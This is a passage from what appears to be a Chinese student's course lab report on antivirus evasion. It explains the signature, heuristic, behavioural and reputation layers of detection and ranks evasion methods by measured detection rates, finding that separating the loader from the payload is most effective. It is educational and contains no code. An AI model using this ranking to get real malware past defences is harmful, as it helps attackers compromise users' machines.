如果我没顺手 wc -c 一下,会怎么样?我会把那个 733 字节的文件传到 Windows,双击,一闪就没。然后我会以为是 Defender 拦了,回去改加密方式、加延时、换 API、改 loader——全都是白忙。最后很可能得出一个完全错误的结论:组件分离在我这台机器上不行。

后来每组数据我都对着核了一遍才敢下结论:jar 和 jar+编码都是 5264 字节,cmp 只差一个时间戳字段,所以编码根本没执行;php 生成出来 1114 字节,head 一看是正常脚本而不是乱码;加密文本 710 字节,反向解码 cmp 一致。这些核对花的都是几秒钟,但少做一次,后面可能就是一小时的冤枉路。

真正的失败不是"被拦了",是"坏了却以为是被拦了"。


5. 回答问题

(1) 杀软是如何检测出恶意代码的?

四条路,从快到慢、从死板到灵活。

一是特征码匹配,比哈希、比字节序列、比 YARA 规则,库里有就报。基线样本 16 个报毒里有 4 个直接点出 Metasploit 的名字(MsfShell-E、BScope.Trojan.Metasploit、BackDoor.Meterpreter.1462),走的就是这条。

二是启发式,看熵值、节区结构、导入表、入口点位置,判断"像不像"。Hyperion 加壳后检出从 7 涨到 20,ClamAV 报 Win.Packer.Hyperion-1、OneAV 报 Win.Malicious.ml[packed],说明它看的是"这是一层壳",而不是壳里面是什么。

三是行为监控,程序跑起来之后看它干了什么:申请 RWX 内存、往别的进程写代码、连高位端口的外部地址。我自己写的 loader 里那三行 VirtualAlloc + memcpy + 跳转,就是这一层最典型的目标。

四是云查与信誉,看签名、看下载量、看文件来源标记。Edge 那句"通常不会下载",以及我发现杀软对我的 loader 只剩一句"不认识",都属于这一层。

第 2.9 节里这几层是接力出现的:下载时先撞信誉(SmartScreen),落地时撞静态(火绒和 Defender 都没吭声),运行时撞行为(也没吭声)。所以最后才活下来了。

(2) 免杀是做什么?

在不改变代码功能的前提下,通过改变文件形态、字节特征或执行行为,让杀软认不出它,或者认出来也拦不住。

拆开是三个方向:改字节(编码、加密),对付特征码;改结构(换格式、重编译、加壳、组件分离),对付启发式和静态结构分析;改行为(内存执行、延时触发、减少系统修改),对付运行时监控。

这次实验把这三个方向都试了一遍,最后有效的只有"把载荷从文件里拿出去"这一条。原因可能在于:前两个方向都是在"变形",而变形的次数再多,那个被变的东西还在文件里;只有最后一个方向是让"东西"本身不存在于磁盘上。

(3) 免杀的基本方法有哪些?

按这次实测的有效性排序:

  • 组件分离 + 文件化加载:loader 2/48、载荷文本 0/48。最有效,也是唯一降到个位数的。
  • 自己写 loader 重编译:7/48。有效,但载荷字节没变的话,内容检测还是能认出来。
  • 代码级混淆(Veil 的思路):8/48。有效,但工具本身已经被收录,要靠自己改模板。
  • 换文件格式(jar / php):14/48、8/48。降幅来自杀软对非 PE 文件的解析能力弱,不是真的藏住了。
  • 编码器(shikata_ga_nai):14~15/48。基本无效,只是把工具指纹换成了编码器指纹。
  • 加壳:UPX 完全无效(7/48 不变),Hyperion 反向恶化(7 → 20/48)。

有一条要特别说:这些方法不是叠加越多越好。 这次实测里,最朴素的"什么都不加"是 7/48,套了 UPX 还是 7/48,再套 Hyperion 变成 20/48。每加一层,就多一个能被认出来的结构。


6. 参考文献

[1] Wildlinux. 0x30_EVA 免杀原理与实践(课程实验指导书). Gitee: https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x30_EVA_免杀原理与实践.md

[2] Wildlinux. 网络与系统攻防技术课程实验附件. Gitee: https://gitee.com/wildlinux/NetSecIattach_files

[3] ManageEngine. Signature-based vs Heuristic-based vs Behaviour-based malware detection. https://www.manageengine.com/malware-protection/articles/signature-based-detection.html

[4] Applied Sciences (MDPI), 2025, 15(9): 5059. 反病毒检测机制综述. https://www.mdpi.com/2076-3417/15/9/5059

[5] Wikipedia. Heuristic (computer science). https://en.wikipedia.org/wiki/Heuristic

[6] 0xdbgman. Shellcode Loaders: Advanced Execution & Evasion Tradecraft, 2026. https://0xdbgman.github.io/posts/shellcode-loaders-the-art-of-execution/

[7] Rapid7. Metasploit Framework Documentation: How to use msfvenom. https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html

[8] Microsoft Learn. VirtualAlloc function (memoryapi.h) 与 Memory Protection Constants. https://learn.microsoft.com/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

[9] Microsoft Learn. Microsoft Defender Antivirus 的行为监控与云保护机制. https://learn.microsoft.com/defender-endpoint/

[10] Veil-Framework. Veil(Veil-Evasion 源码与文档). https://github.com/Veil-Framework/Veil

[11] UPX. the Ultimate Packer for eXecutables(官方文档). https://upx.github.io/

[12] nullsecuritynet. Hyperion PE-Crypter. https://github.com/nullsecuritynet/tools

[13] Michael Sikorski, Andrew Honig. 恶意代码分析实战. 电子工业出版社, 2014.

[14] VirScan. 多引擎在线病毒检测平台. https://www.virscan.org/

posted on 2026-10-25 15:21  Jliessin  阅读(14)  评论(0)    收藏  举报

导航